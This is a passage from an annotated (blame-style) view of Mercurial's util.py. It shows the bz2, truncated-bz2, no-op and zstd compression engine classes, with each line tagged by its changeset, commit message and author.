changeset
|
3575 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3576 return self.zlibrevlogcompressor() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3577 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3578 compengines.register(_zlibengine()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3579 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3580 class _bz2engine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3581 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3582 return 'bz2' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3583 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3584 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3585 """An algorithm that produces smaller bundles than ``gzip``. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3586 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3587 All Mercurial clients should support this format. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3588 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3589 This engine will likely produce smaller bundles than ``gzip`` but |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3590 will be significantly slower, both during compression and |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3591 decompression. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3592 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3593 If available, the ``zstd`` engine can yield similar or better |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3594 compression at much higher speeds. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3595 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3596 return 'bzip2', 'BZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3597 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3598 # We declare a protocol name but don't advertise by default because |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3599 # it is slow. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3600 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3601 return compewireprotosupport('bzip2', 0, 0) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3602 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3603 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3604 opts = opts or {} |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3605 z = bz2.BZ2Compressor(opts.get('level', 9)) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3606 for chunk in it: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3607 data = z.compress(chunk) |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3608 if data: |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3609 yield data |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3610 |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3611 yield z.flush() |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3612 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3613 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3614 def gen(): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3615 d = bz2.BZ2Decompressor() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3616 for chunk in filechunkiter(fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3617 yield d.decompress(chunk) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3618 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3619 return chunkbuffer(gen()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3620 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3621 compengines.register(_bz2engine()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3622 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3623 class _truncatedbz2engine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3624 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3625 return 'bz2truncated' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3626 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3627 def bundletype(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3628 return None, '_truncatedBZ' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3629 |
30359
673f0fdc1046
util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30356
diff
changeset
|
3630 # We don't implement compressstream because it is hackily handled elsewhere. |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3631 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3632 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3633 def gen(): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3634 # The input stream doesn't have the 'BZ' header. So add it back. |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3635 d = bz2.BZ2Decompressor() |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3636 d.decompress('BZ') |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3637 for chunk in filechunkiter(fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3638 yield d.decompress(chunk) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3639 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3640 return chunkbuffer(gen()) |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3641 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3642 compengines.register(_truncatedbz2engine()) |
30265
6a8aff737a17
util: put compression code next to each other
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30181
diff
changeset
|
3643 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3644 class _noopengine(compressionengine): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3645 def name(self): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3646 return 'none' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3647 |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3648 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3649 """No compression is performed. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3650 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3651 Use this compression engine to explicitly disable compression. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3652 """ |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3653 return 'none', 'UN' |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3654 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3655 # Clients always support uncompressed payloads. Servers don't because |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3656 # unless you are on a fast network, uncompressed payloads can easily |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3657 # saturate your network pipe. |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3658 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3659 return compewireprotosupport('none', 0, 10) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3660 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3661 # We don't implement revlogheader because it is handled specially |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3662 # in the revlog class. |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3663 |
30356
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3664 def compressstream(self, it, opts=None): |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3665 return it |
c86109eface7
util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30355
diff
changeset
|
3666 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3667 def decompressorreader(self, fh): |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3668 return fh |
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3669 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3670 class nooprevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3671 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3672 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3673 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3674 def revlogcompressor(self, opts=None): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3675 return self.nooprevlogcompressor() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3676 |
30350
358cda0af6ee
util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30332
diff
changeset
|
3677 compengines.register(_noopengine()) |
26266
1e042e31bd0c
changegroup: move all compressions utilities in util
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26201
diff
changeset
|
3678 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3679 class _zstdengine(compressionengine): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3680 def name(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3681 return 'zstd' |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3682 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3683 @propertycache |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3684 def _module(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3685 # Not all installs have the zstd module available. So defer importing |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3686 # until first access. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3687 try: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3688 from . import zstd |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3689 # Force delayed import. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3690 zstd.__version__ |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3691 return zstd |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3692 except ImportError: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3693 return None |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3694 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3695 def available(self): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3696 return bool(self._module) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3697 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3698 def bundletype(self): |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3699 """A modern compression algorithm that is fast and highly flexible. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3700 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3701 Only supported by Mercurial 4.1 and newer clients. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3702 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3703 With the default settings, zstd compression is both faster and yields |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3704 better compression than ``gzip``. It also frequently yields better |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3705 compression than ``bzip2`` while operating at much higher speeds. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3706 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3707 If this engine is available and backwards compatibility is not a |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3708 concern, it is likely the best available engine. |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3709 """ |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3710 return 'zstd', 'ZS' |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3711 |
30761
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3712 def wireprotosupport(self): |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3713 return compewireprotosupport('zstd', 50, 50) |
7283719e2bfd
util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30745
diff
changeset
|
3714 |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3715 def revlogheader(self): |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3716 return '\x28' |
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3717 |
30442
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3718 def compressstream(self, it, opts=None): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3719 opts = opts or {} |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3720 # zstd level 3 is almost always significantly faster than zlib |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3721 # while providing no worse compression. It strikes a good balance |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3722 # between speed and compression. |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3723 level = opts.get('level', 3) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3724 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3725 zstd = self._module |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3726 z = zstd.ZstdCompressor(level=level).compressobj() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3727 for chunk in it: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3728 data = z.compress(chunk) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3729 if data: |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3730 yield data |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3731 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3732 yield z.flush() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3733 |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3734 def decompressorreader(self, fh): |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3735 zstd = self._module |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3736 dctx = zstd.ZstdDecompressor() |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3737 return chunkbuffer(dctx.read_from(fh)) |
41a8106789ca
util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30438
diff
changeset
|
3738 |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3739 class zstdrevlogcompressor(object): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3740 def __init__(self, zstd, level=3): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3741 # Writing the content size adds a few bytes to the output. However, |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3742 # it allows decompression to be more optimal since we can |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3743 # pre-allocate a buffer to hold the result. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3744 self._cctx = zstd.ZstdCompressor(level=level, |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3745 write_content_size=True) |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3746 self._dctx = zstd.ZstdDecompressor() |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3747 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
30798
f50c0db50025
util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30794
diff
changeset
|
3748 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
30794
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3749 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3750 def compress(self, data): |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3751 insize = len(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3752 # Caller handles empty input case. |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3753 assert insize > 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3754 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3755 if insize < 50: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3756 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3757 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3758 elif insize <= 1000000: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3759 compressed = self._cctx.compress(data) |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3760 if len(compressed) < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3761 return compressed |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3762 return None |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3763 else: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3764 z = self._cctx.compressobj() |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3765 chunks = [] |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3766 pos = 0 |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3767 while pos < insize: |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3768 pos2 = pos + self._compinsize |
31e1f0d4ab44
util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
30773
diff
changeset
|
3769 chunk = z.compress(data[pos:pos2]) |
31e1f0d4ab44
